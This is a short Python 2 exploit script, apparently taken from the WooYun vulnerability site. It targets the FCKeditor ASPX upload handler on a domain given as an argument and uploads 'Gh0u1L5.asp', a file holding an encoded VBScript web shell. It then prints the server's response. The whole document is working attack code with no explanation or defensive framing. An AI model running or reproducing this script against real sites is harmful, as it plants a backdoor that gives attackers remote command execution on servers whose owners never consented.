WooYun.org

#!/usr/bin/env python2
import os, sys, requests
if len(sys.argv) != 2:
	sys.stderr.write('Usage: ' + sys.argv[0] + ' [Domain]\n')
url = 'http://' + sys.argv[1] + '/editor/filemanager/upload/aspx/upload.aspx'
headers = {'Content-Type': 'multipart/form-data; boundary=---------------------------55932780220353404171364403441'}
data = '-----------------------------55932780220353404171364403441\r\nContent-Disposition: form-data; name="NewFile"; filename="Gh0u1L5.asp"\r\nContent-Type: application/x-asp\r\n\r\n<%@ LANGUAGE = VBScript.Encode %>\r\n<%#@~^FwAAAA==n7ls,D;E/DcJVtTE8SXE*bAcAAA==^#~@%>\r\n-----------------------------55932780220353404171364403441--\r\n'
response = requests.post(url, data = data, headers = headers)
print response.content